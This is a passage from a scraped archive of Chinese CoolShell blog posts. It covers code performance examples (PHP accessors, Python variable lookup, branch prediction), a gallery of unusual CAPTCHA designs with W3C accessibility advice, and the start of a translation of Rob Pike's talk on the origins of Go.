$t;\n\t\techo \"\\n\";\n\t}\n        //直接存取变量方式\n        for ($x=0; $x&lt;10; $x++) {\n\t\t$t = microtime(true);\n\t\tfor($i=0; $i&lt;1000000; $i++) {\n\t\t\t$rover-&gt;name = \"rover\";\n\t\t\t$n = $rover-&gt;name;\n\t\t}\n\t\techo microtime(true) - $t;\n\t\techo \"\\n\";\n\t}\n?&gt;</pre>\n<p>这个并没有什么稀，因为有函数调用的开销，函数调用需要压栈出栈，需要传值，有时还要需要中断，要干的事太多了。所以，代码多了，效率自然就慢了。所有的语言都这个德行，这就是为什么C++要引入inline的原因。而且Java在打开优化的时候也可以优化之。但是对于动态语言来说，这个事就变得有点困难了。</p>\n<p><span id=\"more-7886\"></span></p>\n<p>你可能会以为使用下面的代码（Magic Function）会好一些，但实际其性能更差。</p>\n<pre class=\"EnlighterJSRAW\">class dog {\n\tprivate $_name = \"\";\n\tfunction __set($property,$value) {\n\t\tif($property == 'name') $this-&gt;_name = $value;\n\t}\n\tfunction __get($property) {\n\t\tif($property == 'name') return $this-&gt;_name;\n\t}\n}</pre>\n<p>动态语言的效率从来都是一个问题，如果你需要PHP有更好的性能，你可能需要使用<a href=\"https://github.com/facebook/hiphop-php\" target=\"_blank\">FaceBook的HipHop</a>来把PHP编译成C语言。</p>\n<h4><strong>第二个例子</strong></h4>\n<p><strong>为什么Python程序在函数内执行得更快？</strong>（<a href=\"http://stackoverflow.com/questions/11241523/why-does-python-code-run-faster-in-a-function\" target=\"_blank\">来源StackOverflow</a>）</p>\n<p>考虑下面的代码，一个在函数体内，一个是全局的代码。</p>\n<p>函数内的代码执行效率为 1.8s</p>\n<pre class=\"EnlighterJSRAW\">def main():\n    for i in xrange(10**8):\n        pass\nmain()</pre>\n<p>函数体外的代码执行效率为 4.5s</p>\n<pre class=\"EnlighterJSRAW\">for i in xrange(10**8):\n    pass</pre>\n<p>不用太纠结时间，只是一个示例，我们可以看到效率查得很多。为什么会这样呢？我们使用 <a href=\"http://docs.python.org/library/dis.html\" target=\"_blank\"><code>dis</code> module</a> 反汇编函数体内的bytecode 代码，使用 <a href=\"http://docs.python.org/library/functions.html#compile\" target=\"_blank\"><code>compile</code> builtin</a> 反汇编全局bytecode，我们可以看到下面的反汇编（注意我高亮的地方）</p>\n<pre class=\"EnlighterJSRAW\">\n13 FOR_ITER                 6 (to 22)\n16 STORE_FAST               1 (i)\n19 JUMP_ABSOLUTE           13</pre>\n<pre class=\"EnlighterJSRAW\">\n13 FOR_ITER                 6 (to 22)\n16 STORE_NAME               1 (i)\n19 JUMP_ABSOLUTE           13</pre>\n<p>我们可以看到，差别就是 <a href=\"http://docs.python.org/library/dis.html#opcode-STORE_FAST\" target=\"_blank\"><code>STORE_FAST</code></a> 和 <code><a href=\"http://docs.python.org/library/dis.html#opcode-STORE_NAME\" target=\"_blank\">STORE_NAME</a>，前者比后者快很多。所以，在全局代码中，变量i成了一个全局变量，而函数中的i是放在本地变量表中，所以在全局变量表中查找变量就慢很多。如果你在main函数中声明global i 那么效率也就下来了。</code>原因是，本地变量是存在一个数组中（直到），用一个整型常量去访问，而全局变量存在一个dictionary中，查询很慢。</p>\n<p><code>（注：在</code>C/C++中，这个不是一个问题）</p>\n<h4><strong>第三个例子</strong></h4>\n<p><strong> 为什么排好序的数据在遍历时会更快？</strong>（<a href=\"http://stackoverflow.com/questions/11227809/why-is-processing-a-sorted-array-faster-than-an-unsorted-array\" target=\"_blank\">来源StackOverflow</a>）</p>\n<p>参看如下C/C++的代码：</p>\n<pre class=\"EnlighterJSRAW\"> for (unsigned i = 0; i &lt; 100000; ++i) {\n   // primary loop\n    for (unsigned j = 0; j &lt; arraySize; ++j) {\n        if (data[j] &gt;= 128)\n            sum += data[j];\n    }\n}</pre>\n<p>如果你的data数组是排好序的，那么性能是1.93s，如果没有排序，性能为11.54秒。差5倍多。无论是C/C++/Java，或是别的什么语言都基本上一样。</p>\n<p>这个问题的原因是——<strong> <a href=\"http://en.wikipedia.org/wiki/Branch_predictor\">branch prediction</a> （分支预判）</strong>伟大的stackoverflow给了一个非常不错的解释。</p>\n<p>考虑我们一个铁路分叉，当我们的列车来的时候， 扳道员知道分个分叉通往哪，但不知道这个列车要去哪儿，司机知道要去哪，但是不知道走哪条分叉。所以，我们需要让列车停下来，然后司机和扳道员沟通一下。这样的性能太差了。</p>\n<p>所以，我们可以优化一下，那就是猜，我们至少有50%的概率猜对，如果猜对了，火车行驶性能巨高，猜错了，就得让火车退回来。如果我猜对的概率高，那么，我们的性能就会高，否则老是猜错了，性能就很差。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-7893\" height=\"330\" src=\"../wp-content/uploads/2012/07/muxnt.jpg\" title=\"muxnt\" width=\"440\"/></p>\n<p style=\"text-align: center;\">Image by Mecanismo, from Wikimedia Commons:<a href=\"http://commons.wikimedia.org/wiki/File:Entroncamento_do_Transpraia.JPG\">http://commons.wikimedia.org/wiki/File:Entroncamento_do_Transpraia.JPG</a></p>\n<p>我们的if-else 就像这个铁路分叉一样，下面红箭头所指的就是搬道器。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-7892\" height=\"91\" src=\"../wp-content/uploads/2012/07/pyfwC.png\" title=\"pyfwC\" width=\"567\"/></p>\n<p>那么，我们的搬道器是怎么预判的呢？就是使用过去的历史数据，如果历史数据有90%以上的走左边，那么就走左边。所以，我们排好序的数据就更容易猜得对。</p>\n<pre class=\"EnlighterJSRAW\">T = 走分支（条件表达式为true）\nN = 不走分支(条件表达式为false)\n\ndata[] = 0, 1, 2, 3, 4, ... 126, 127, 128, 129, 130, ... 250, 251, 252, ...\nbranch = N  N  N  N  N  ...   N    N    T    T    T  ...   T    T    T  ...\n\n= NNNNNNNNNNNN ... NNNNNNNTTTTTTTTT ... TTTTTTTTTT  (easy to predict)</pre>\n<pre class=\"EnlighterJSRAW\">data[] = 226, 185, 125, 158, 198, 144, 217, 79, 202, 118,  14, 150, 177, 182, 133, ...\nbranch =   T,   T,   N,   T,   T,   T,   T,  N,   T,   N,   N,   T,   T,   T,   N  ...\n\n= TTNTTTTNTNNTTTN ...   (completely random - hard to predict)</pre>\n<p>从上面我们可以看到，排好序的数据更容易预测分支。</p>\n<p>对此，那我们怎么办？我们需要在这种循环中除去if-else语句。比如：</p>\n<p>我们把条件语句：</p>\n<pre class=\"EnlighterJSRAW\">if (data[j] &gt;= 128)\nsum += data[j];\n</pre>\n<p>变成：</p>\n<pre class=\"EnlighterJSRAW\">int t = (data[j] - 128) &gt;&gt; 31;\nsum += ~t &amp; data[j];</pre>\n<p>“没有分叉”的性能基本上和“排好序有分支”一个样，无论是C/C++，还是Java。</p>\n<blockquote><p><strong>注：</strong>在GCC下，如果你使用 <code>-O3</code> or <code>-ftree-vectorize</code> 编译参数，GCC会帮你优化分叉语句为无分叉语句。VC++2010没有这个功能。</p></blockquote>\n<p><strong>最后，推荐大家一个网站——<a href=\"https://developers.google.com/speed/\" target=\"_blank\">Google Speed</a>，网站上的有一些教程告诉你<a href=\"https://developers.google.com/speed/articles/\" target=\"_blank\">如何写出更快的Web程序</a>。</strong></p>\n<p><strong></strong>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1839.html\"><img alt=\"编程语言汽车\" height=\"150\" src=\"../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1839.html\">编程语言汽车</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1532.html\"><img alt=\"到处都是Unix的胎记\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1532.html\">到处都是Unix的胎记</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-7-19 各式各样的验证码.html",
    "content": "<html><body><p>还记得以前那篇《<a href=\"https://coolshell.cn/articles/3277.html\" target=\"_blank\" title=\"超强的验证码\">超强验证码</a>》？其实这个世界变态的验证码还有很多，下面是一个列表向像展示了各种稀奇古怪的验证码。不过本文并不单单只是收集这验证码，前面的比较恶搞，后面的会向你展示什么是有accessibility验证码。</p>\n<h4>完全看不清楚的</h4>\n<p>这是人类的字符吗？</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-7920\" height=\"358\" src=\"../wp-content/uploads/2012/07/0.jpg\" width=\"543\"/></p>\n<p style=\"text-align: left;\">图案中的字母是什么？</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"472\" src=\"../wp-content/uploads/2012/07/7.jpg\" width=\"409\"/></p>\n<p><span id=\"more-7917\"></span></p>\n<p>这也够奇葩的了。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"438\" src=\"../wp-content/uploads/2012/07/4.jpg\" width=\"454\"/></p>\n<h4 style=\"text-align: left;\">看得清但令人抓狂的</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/07/2.jpg\"><img alt=\"\" class=\"aligncenter\" height=\"322\" src=\"../wp-content/uploads/2012/07/2.jpg\" title=\"2\" width=\"480\"/></a><img alt=\"\" class=\"aligncenter\" height=\"302\" src=\"../wp-content/uploads/2012/07/3.jpg\" width=\"510\"/></p>\n<h4><a href=\"https://coolshell.cn/wp-content/uploads/2012/07/1.jpg\"><br/>\n</a> <a href=\"https://coolshell.cn/wp-content/uploads/2012/07/2.jpg\"><br/>\n</a>数学公式的</h4>\n<p>如果你填对了，你是人类吗？</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/07/4.jpg\"><br/>\n<img alt=\"\" class=\"aligncenter\" height=\"273\" src=\"../wp-content/uploads/2012/07/5.jpg\" width=\"469\"/></a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/07/7.jpg\"><br/>\n</a> <img alt=\"\" class=\"aligncenter size-full wp-image-7928\" height=\"293\" src=\"../wp-content/uploads/2012/07/8.jpg\" width=\"526\"/></p>\n<h4 style=\"text-align: left;\">智力题</h4>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"440\" src=\"../wp-content/uploads/2012/07/1.jpg\" width=\"511\"/></p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"283\" src=\"../wp-content/uploads/2012/07/worstcaptchaever.jpg\" width=\"552\"/></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/07/9.jpg\"><img alt=\"\" class=\"aligncenter size-full wp-image-7929\" height=\"257\" src=\"../wp-content/uploads/2012/07/9.jpg\" width=\"444\"/></a></p>\n<h4>你的审美水平正常吗？</h4>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"474\" src=\"../wp-content/uploads/2012/07/6.jpg\" width=\"596\"/></p>\n<h4>你懂盲文吗？</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/07/a438_c13.jpg\"><img alt=\"\" class=\"aligncenter size-full wp-image-7930\" height=\"60\" src=\"../wp-content/uploads/2012/07/a438_c13.jpg\" title=\"a438_c13\" width=\"346\"/></a></p>\n<h4>ASCII图片式</h4>\n<p><img alt=\"\" class=\"aligncenter\" height=\"548\" src=\"../wp-content/uploads/2012/07/filter_8cd6a950-a3ba-42a1-ac47-6d4c8276e6e5.jpg\" title=\"filter_8cd6a950-a3ba-42a1-ac47-6d4c8276e6e5\" width=\"452\"/></p>\n<h4 style=\"text-align: left;\"></h4>\n<h4></h4>\n<h4>怎么验证一个人是否成年</h4>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/07/filter_8cd6a950-a3ba-42a1-ac47-6d4c8276e6e5.jpg\"><br/>\n</a> <img alt=\"\" class=\"aligncenter size-full wp-image-7933\" height=\"366\" src=\"../wp-content/uploads/2012/07/main-qimg-33024dad8ca5f5b9c37e3894d60ac8a1.jpg\" title=\"main-qimg-33024dad8ca5f5b9c37e3894d60ac8a1\" width=\"640\"/></p>\n<h4>3D验证码</h4>\n<p>通个这个脚本自动生成的：<a href=\"http://ocr-research.org.ua/tb/getimage.php5\" target=\"_blank\">http://ocr-research.org.ua/tb/getimage.php5</a></p>\n<p><a href=\"http://ocr-research.org.ua/tb/getimage.php5\"><img alt=\"http://ocr-research.org.ua/tb/getimage.php5\" class=\"aligncenter\" src=\"http://ocr-research.org.ua/tb/getimage.php5\" title=\"http://ocr-research.org.ua/tb/getimage.php5\"/></a></p>\n<h4></h4>\n<h4>reCaptcha</h4>\n<p>相信大家都知道reCAPTCHA下了一盘很大的棋，它让你在输验证码的时候还帮着还原书籍中那些很难被OCR识别的单词。其有两组验证码，一组是可以被电脑识别的，另一组是不能被电脑识别的（也就是让人来帮电脑识别的），如果你第一组答对了，就会被 认为是人工操作，于是你回答的第二组就会成为人肉OCR。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-7947\" height=\"101\" src=\"../wp-content/uploads/2012/07/reCAPTCHA.png\" title=\"reCAPTCHA\" width=\"255\"/></p>\n<p>它最近又将增加一项新功能：显示Google地图上的街景地址和名称。这样从地图上的街景中提取街道地址和名称以及交通标志等数据，以完善Google地图上的信息。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-7948\" height=\"237\" src=\"../wp-content/uploads/2012/07/recaptcha-map.jpg\" title=\"recaptcha-map\" width=\"488\"/></p>\n<h4>Facebook的人脸识别验证码</h4>\n<p>你觉得有创意吗?</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"356\" src=\"../wp-content/uploads/2012/07/facebook.jpg\" title=\"facebook\" width=\"574\"/></p>\n<h4><a href=\"http://research.microsoft.com/en-us/um/redmond/projects/asirra/\" target=\"_blank\">微软的ASIRRA</a></h4>\n<p style=\"text-align: center;\"><a href=\"http://research.microsoft.com/en-us/um/redmond/projects/asirra/\"><img alt=\"\" class=\"aligncenter size-full wp-image-7935\" height=\"210\" src=\"../wp-content/uploads/2012/07/ASIRRA-Microsoft-Research.png\" title=\"ASIRRA   Microsoft Research\" width=\"501\"/></a></p>\n<h4><a href=\"http://accessibiliteweb.com/stuff/captcha-slider.html\" target=\"_blank\">DISTCHA</a></h4>\n<p>通过像iPhone/iPad开启时滑动的样式来验证。</p>\n<p style=\"text-align: center;\"><a href=\"http://accessibiliteweb.com/stuff/captcha-slider.html\"><img alt=\"\" class=\"aligncenter size-full wp-image-7936\" height=\"271\" src=\"../wp-content/uploads/2012/07/DISTCHA-an-accessible-CAPTCHA-slider-v0.2.png\" title=\"DISTCHA  - an accessible CAPTCHA slider   v0.2\" width=\"521\"/></a></p>\n<h4><a href=\"http://josscrowcroft.com/projects/motioncaptcha-jquery-plugin/\" target=\"_blank\" title=\"MotionCAPTCHA jQuery plugin\">MotionCAPTCHA</a></h4>\n<p>用鼠标来画个画。</p>\n<p><a href=\"http://josscrowcroft.com/projects/motioncaptcha-jquery-plugin/\"><img alt=\"\" class=\"aligncenter size-full wp-image-7937\" height=\"305\" src=\"../wp-content/uploads/2012/07/MotionCAPTCHA-Joss-Crowcroft.png\" title=\"MotionCAPTCHA - Joss Crowcroft\" width=\"422\"/></a></p>\n<h4><a href=\"http://sitehelp.com.au/demos/dragcaptcha.php\" target=\"_blank\">siteHelp的DragCapCha</a></h4>\n<p>为下面的字母排个序吧</p>\n<p><a href=\"http://sitehelp.com.au/demos/dragcaptcha.php\"><img alt=\"\" class=\"aligncenter size-full wp-image-7938\" height=\"186\" src=\"../wp-content/uploads/2012/07/Site-Help-DragCaptcha.png\" title=\"Site Help - DragCaptcha\" width=\"590\"/></a></p>\n<h4>jQuery 验证码插件</h4>\n<h5><a href=\"http://serie3.info/s3capcha/demonstration.php\" target=\"_blank\">jQuery s3Capcha 插件</a></h5>\n<p><a href=\"http://serie3.info/s3capcha/demonstration.php\"><img alt=\"\" class=\"aligncenter size-full wp-image-7939\" height=\"163\" src=\"../wp-content/uploads/2012/07/s3Capcha-jQuery-plugin.png\" title=\"s3Capcha jQuery plugin\" width=\"346\"/></a></p>\n<h5><a href=\"http://www.webdesignbeach.com/beachbar/ajax-fancy-captcha-jquery-plugin\" target=\"_blank\">Ajax Fancy Captcha</a></h5>\n<p>和上面那个不一样，这个需要拖动</p>\n<p><a href=\"http://www.webdesignbeach.com/beachbar/ajax-fancy-captcha-jquery-plugin\"><img alt=\"\" class=\"aligncenter size-full wp-image-7940\" height=\"132\" src=\"../wp-content/uploads/2012/07/Ajax-Fancy-Captcha-jQuery-plugin.png\" title=\"Ajax Fancy Captcha   jQuery plugin\" width=\"342\"/></a></p>\n<h5><a href=\"http://www.wozia.pt/blog/wcaptcha-a-better-captcha-alternative-jquery-captcha-plugin/\" target=\"_blank\">wCaptcha</a></h5>\n<p>和上面的很相似。</p>\n<p><a href=\"http://www.wozia.pt/blog/wcaptcha-a-better-captcha-alternative-jquery-captcha-plugin/\"><img alt=\"\" class=\"aligncenter size-full wp-image-7943\" height=\"127\" src=\"../wp-content/uploads/2012/07/wcaptcha-1.png\" title=\"wcaptcha\" width=\"332\"/></a></p>\n<h4><a href=\"http://www.picatcha.com/captcha/\" target=\"_blank\">Picatcha</a></h4>\n<p>挑出所有的计算器</p>\n<p><a href=\"http://www.picatcha.com/captcha/\"><img alt=\"\" class=\"aligncenter size-full wp-image-7941\" height=\"307\" src=\"../wp-content/uploads/2012/07/PICATCHA.png\" title=\"PICATCHA\" width=\"366\"/></a></p>\n<h4><a href=\"http://yocaptcha.com/\" target=\"_blank\">yoCaptcha</a></h4>\n<p>广告式的验证码</p>\n<p><a href=\"http://yocaptcha.com/\"><img alt=\"\" class=\"aligncenter size-full wp-image-7942\" height=\"239\" src=\"../wp-content/uploads/2012/07/yoCaptcha.png\" title=\"yoCaptcha\" width=\"346\"/></a></p>\n<h4>W3C的建议</h4>\n<p>W3C的这篇文章（<a href=\"http://www.w3.org/TR/turingtest/\">http://www.w3.org/TR/turingtest/</a>）表达了传统的验证码图片的Inaccessibility的问题，而且一些验证码都很容易被破解。如：</p>\n<ul>\n<li><a href=\"http://www.brains-n-brawn.com/default.aspx?vDir=aicaptcha\">aiCaptcha: Using AI to beat CAPTCHA and post comment spam</a></li>\n<li><a href=\"http://www.cs.berkeley.edu/~mori/gimpy/gimpy.html\">Breaking CAPTCHAs Without Using OCR</a></li>\n<li><a href=\"http://sam.zoy.org/pwntcha/\">PWNtcha – CAPTCHA decoder</a></li>\n</ul>\n<p>W3C也给了一些解决方案：</p>\n<ul>\n<li>一些逻辑题或是智力题。</li>\n<li>声音输出，为了照顾残疾人。 <a href=\"http://news.com.com/2100-1032-1022814.html\">Spam-bot tests flunk the blind</a></li>\n<li>限制帐号的操作次数。</li>\n<li>使用现有的Spam检测机制。如：酷壳（Coolshell.cn）的评论没有验证码，垃圾评论完全靠<a href=\"http://akismet.com/\" target=\"_blank\">Akismet</a> 插件过滤。</li>\n</ul>\n<p>建议你移步去看看这篇文章。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3277.html\"><img alt=\"超强的验证码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3277.html\">超强的验证码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12225.html\"><img alt=\"DHH 谈混合移动应用开发\" height=\"150\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12206.html\"><img alt=\"HTML6 展望\" height=\"150\" src=\"../wp-content/uploads/2014/12/html6-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7917.html\">各式各样的验证码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-7-5 少即是极多.html",
    "content": "<html><body><p>【<span style=\"color: #cc0000;\"><strong>感谢网友 <a href=\"https://twitter.com/#!/innocentim\" target=\"_blank\">@innocentim</a></strong> (Twitter)<strong> 投稿</strong></span>】</p>\n<p>这是一篇翻译练习。力图保留原意。若有不准确处，求速速指出。<a href=\"http://commandcenter.blogspot.com/2012/06/less-is-exponentially-more.html\" target=\"_blank\">猛击此处</a>（墙）看原文。作者为Rob Pike，贝尔实验室来的大牛，现在就职于Google。他主导了Go语言的创建工作。下面是正文——</p>\n<p style=\"text-align: center; font-size: 9pt;\"><span style=\"color: #999999;\">——————————————正文分隔线——————————————</span></p>\n<p><img alt=\"\" class=\"alignright size-full wp-image-7818\" height=\"282\" src=\"../wp-content/uploads/2012/06/Less-is-More-Box-ShopTab-300x282.jpg\" title=\"Less is More\" width=\"300\"/>这是我在2012年6月的Go SF上演讲的文本。</p>\n<p>这是一个个人演讲。 我承认，虽然面前的团队让Go诞生并延续，但是我的观点并不代表任何其他Go语言小组成员的意见。 我也想感谢Go SF的组织者提供这个和你们交流的机会。</p>\n<p>几星期前我被问起:“你在推出Go的过程中遇到的最大的惊奇是什么？”我立即意识到了答案: 虽然我们希望C++程序员意识到Go是个较好的选择，但是令人意外的是，大多数Go程序员来自Python和Ruby这样的动态语言，而很少有来自C++的。</p>\n<p>我们——Ken，Robert和我——是C++程序员(译者: Ken也用C++？)，当时在为解决我们所写的这类软件产生的问题设计一个新的语言。 这似乎有点自相矛盾，因为别的C++程序员根本不关心这些问题，更不会去设计一个语言。</p>\n<p>我今天想说的是关于那些激发我们创造Go的事情，和为什么它本不应令我们如此惊讶。 我保证这些内容更多与Go相关而不是C++，所以即使你不很了解C++你也能跟得上。</p>\n<p>回答可以这样归结: 你认为”少即是多”呢，还是”少就是少”？</p>\n<p>这里有个比喻，将以真实故事的形式给出。 贝尔实验室中心原来发放3位数号码: 物理研究是111，计算科学研究是127，如此这般。 1980年代早期，一个便笺飞过来说”鉴于你们对研究的理解有所加深，将为你们的号码多加上一位，以便更好地体现你们的工作”。 所以我们中心的号码变成了1127。 Ron Hardin半当真地开玩笑说如果我们真的理解我们的世界更好一点的话，我们将丢掉一位数字，将127变成27。 当然主管没听到这个笑话(这也不是我们希望的)，但是我想这里面有点值得思考的东西。 少即是多。 你理解得越好，你将变得越简洁。</p>\n<p><span id=\"more-7771\"></span></p>\n<p>先记住这句话。</p>\n<p>回到2007年9月，我在做一个庞大的Google C++项目的细微但核心的部分。 开发必须交互进行，但是我这部分在我们的Google编译集群上要编译45分钟。 同时，有个消息传过来说一群在C++社区的Google员工将开一场讲座，介绍即将到来的C++0x(现在称为C++11)。</p>\n<p>在那场持续一小时的讲座中，我们听说了诸如计划中的35个新特性的说法——事实上还有更多，但是那场讲座只说有35个。 有些特性当然是细微的，但是讲座中谈到的至少是足够重要的。 提到的特性中，有些十分微妙并难以理解，比如右值引用(rvalue references); 有些特别符合C++范儿，比如可变参数模板(variadic templates); 还有些十分疯狂，比如用户定义的字面量(user-defined literals)。</p>\n<p>那时候我问了自己一个问题: C++社区真的觉得C++错在没有足够多的特性么？ 显然，从Ron Hardin的笑话的角度看，简化语言将比添加新特性取得更好的效果。 当然，对C++来说这很不靠谱，但是先记住这点。</p>\n<p>在这场讲座的几个月之前我做了一场讲座(你可以通过<a href=\"http://video.google.com/videoplay？docid=810232012617965344\" target=\"_blank\">YouTube</a>看到)，讲的是一个我1980年代做的一个玩具并发编程语言。 这个语言叫<a href=\"ftp://cs.bell-labs.com/cm/cs/who/rsc/thread/newsqueak.pdf\" target=\"_blank\">Newsqueak</a>，而且显然地，它成为了Go的前身。</p>\n<p>在我在Google工作的过程中，我发现我丢掉了Newsqueak中的一些点子。 现在我将重新思考它们，所以我才做了那场讲座。 我相信它们会让服务器端编程变得更容易，而且Google能真正从中获益。</p>\n<p>我真的尝试将这些点子加入到C++中，可惜失败了。 我实在难以将一组并发操作融入到C++的控制流程中去——当真融进去的话，它们将变得十分丑陋，从而难以看到优越性。 另外，C++将它变得十分臃肿(虽然我从来没真正发现C++苗条过)。 所以我放弃了这个想法。</p>\n<p>但是C++0x的讲座使我再次思考。 一件事十分困扰我——我相信也困扰着Ken和Robert——C++的新内存模型居然新增了原子类型。 为这个不堪重负的类型系统加上这么个细致精巧到极致类型机制十分的不靠谱，不是么？ 将语言和今日的硬件绑在一起似乎有点目光短浅并且不明智，因为硬件过几年就有大变。</p>\n<p>那场C++0x讲座结束之后，我们回到办公室。 我开始了另一个编译(译者笑)，转过转过我的椅子，面对Robert，然后开始问一些尖锐的问题。 在编译完成之前，我们拉拢了Ken，并决定做些什么。 我们再也不想写C++了，并且我们——尤其是我——在写Google代码时，想让并发拿来就用。 同时我们也想解决”大系统编程”的问题，容后细说。</p>\n<p>我们在白板上写下一组我们需要的东西——迫切需要的那种。 